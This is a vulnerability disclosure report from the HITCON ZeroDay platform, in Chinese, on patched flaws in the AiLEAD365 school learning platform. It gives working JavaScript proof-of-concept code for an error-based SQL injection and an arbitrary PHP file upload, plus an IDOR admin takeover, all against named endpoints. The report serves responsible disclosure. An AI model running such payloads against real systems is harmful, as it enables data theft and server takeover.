Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00001
- Vendor: 力宇教育事業股份有限公司
- Title: 力宇教育 AiLEAD365 SQLi注入漏洞、越權、REC(任意檔案上傳)、
- Introduction: 透過order[0][dir]進行注入、沒關除錯模式、越權登入、任意檔案上傳
處理狀態
目前狀態
公開
Last Update : 2026/01/24
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/01/01 12:21:34 : 新提交 (由 鄉民 更新此狀態)
- 2026/01/01 23:46:28 : 新提交 (由 鄉民 更新此狀態)
- 2026/01/04 11:48:14 : 新提交 (由 鄉民 更新此狀態)
- 2026/01/04 16:03:57 : 新提交 (由 鄉民 更新此狀態)
- 2026/01/05 19:00:58 : 新提交 (由 鄉民 更新此狀態)
- 2026/01/06 12:35:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:15:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:15:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:15:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/20 15:09:14 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/20 20:12:18 : 確認已修補 (由 鄉民 更新此狀態)
- 2026/01/24 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00001
- 通報者:鄉民
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
*.ailead365.com
*.ailead365.com/admin/stuquiz/get-personrecord
*.ailead365.com/admin/learning/change-user
*.ailead365.com/admin/bapi/boarduploadpng
*.ailead365.com/admin/stuquiz/get-personrecord
*.ailead365.com/admin/learning/change-user
*.ailead365.com/admin/bapi/boarduploadpng
敘述
該網站已知被超過300多家學校使用,但存在以下漏洞
IDOR
在/admin/learning/change-user上發送POST請求,其中POST的表單中user_id=1
上述操作能非法登入管理員,實現越權登入
SQLi (SQL Injection)
向/admin/stuquiz/get-personrecord中POST請求的order[0][dir]透過CONCAT()注入(SELECT COUNT(*) FROM user)可以查到該網站的用戶規模
攻擊者可以透過此漏洞進行竊取資料等操作。
進而實現查詢email,發送垃圾郵件
原因是該平台直接拼接SQL語句,並使用createCommand()和queryAll()查表
本人實作了以下JavaScript函數作為PoC:
function SQLi(SQL){
const data = {
draw: "11",
start: "0",
length: "10",
"order[0][column]": "8",
"order[0][dir]": ", (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, ("+SQL+"), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.plugins GROUP BY x) a)",
"search[value]": "",
"search[regex]": "false",
subject_code: "C0",
schoolclass_id: "6",
quizpaper_category_id: "1",
stime: "",
etime: "",
unfinished: "-1"
};
for (let i = 0; i <= 9; i++) {
data[`columns[${i}][data]`] = i.toString();
data[`columns[${i}][name]`] = "";
data[`columns[${i}][searchable]`] = (i === 0) ? "false" : "true";
data[`columns[${i}][orderable]`] = (i === 0 || i === 9) ? "false" : "true";
data[`columns[${i}][search][value]`] = "";
data[`columns[${i}][search][regex]`] = "false";
}
const searchParams = new URLSearchParams(data);
fetch("/admin/stuquiz/get-personrecord", {
method: "POST",
headers: {
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"x-csrf-token": document.querySelector('meta[name="csrf-token"]')?.content || ""
},
body: searchParams.toString()
})
.then(res => res.text())
.then(text => {
console.log(text.match(/Duplicate entry '(.+)' for key 'group_key'/)[1])
})
.catch(err => console.error("腳本執行出錯:", err));
}
本人已查明此次規模:
SQLi("SELECT count(*) FROM user")
回傳~1103234~1
即1103234位用戶
SQLi("SELECT SUM(data_length + index_length) / 1024 / 1024 / 1024 AS total_gb FROM information_schema.tables WHERE table_schema = DATABASE()")
回傳~126.716308593750~1
SQLi("SELECT SUM(TABLE_ROWS) FROM information_schema.tables WHERE table_schema = DATABASE()")
回傳~329718952~1
即126.7GB,3.2億筆的資料
本人並未下載資料
任意檔案上傳 (Arbitrary File Upload)
透過越權漏洞進入user_id=1
然後輸入以下PoC
async function ArbitraryFileUploadPoC(fileBuffer, fileType, fileName) {
const blob = new Blob([fileBuffer], { type: fileType });
const formData = new FormData();
formData.append("file", blob, fileName);
formData.append("cid", "114514"); // 測試用班級 ID
formData.append("tid", "0");
formData.append("pid", "1919810"); // 測試用頁面 ID
formData.append("filepath", "examAnswer/" + fileName);
console.log("正在執行漏洞實證...");
try {
const response = await fetch("/admin/bapi/boarduploadpng", {
method: "POST",
headers: {
"x-csrf-token": document.querySelector('meta[name="csrf-token"]')?.content || "",
},
body: formData,
});
const result = await response.json();
if (result.ok) {
console.log("成功寫入檔案", "color: lime; font-weight: bold;");
const uid = 1;
const accessUrl = `${window.location.origin}/admin/material/images/board/${uid}/114514/0/1919810/${fileName}`;
console.log(`驗證網址: ${accessUrl}`);
}
} catch (error) {
console.error("執行失敗:", error);
}
}
(function() {
// 1. 建立容器
const container = document.createElement('div');
container.style = `
position: fixed; top: 20px; left: 20px; z-index: 99999;
padding: 15px; background: #222; color: #fff;
border: 2px solid lime; border-radius: 8px;
box-shadow: 0 0 15px rgba(0,255,0,0.5);
font-family: monospace;
`;
container.innerHTML = `
<div style="margin-bottom:10px; font-weight:bold;">PoC驗證面板</div>
<input type="file" id="poc-file-input" style="margin-bottom:10px; display:block;">
<div id="poc-status" style="font-size:12px; color:#aaa;">等待選擇檔案...</div>
`;
document.body.appendChild(container);
// 2. 綁定事件
const fileInput = document.getElementById('poc-file-input');
const status = document.getElementById('poc-status');
fileInput.addEventListener('change', (e) => {
const file = e.target.files[0];
if (!file) return;
status.innerText = `讀取中: ${file.name}...`;
status.style.color = "yellow";
const reader = new FileReader();
reader.readAsArrayBuffer(file);
reader.onload = async (event) => {
try {
// 傳入檔案內容、類型與檔名
await ArbitraryFileUploadPoC(event.target.result, file.type, file.name);
status.innerText = `成功注入: ${file.name}`;
status.style.color = "lime";
} catch (err) {
status.innerText = `失敗: ${err.message}`;
status.style.color = "red";
}
};
});
})();
有一個PoC驗證檔案:
內容為<?php echo "當你看到此檔案時,已經通報給 zeroday.hitcon.org 了"; ?>
https://ailead365.com/admin/material/images/board/883163/114514/0/1919810/demo.php
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。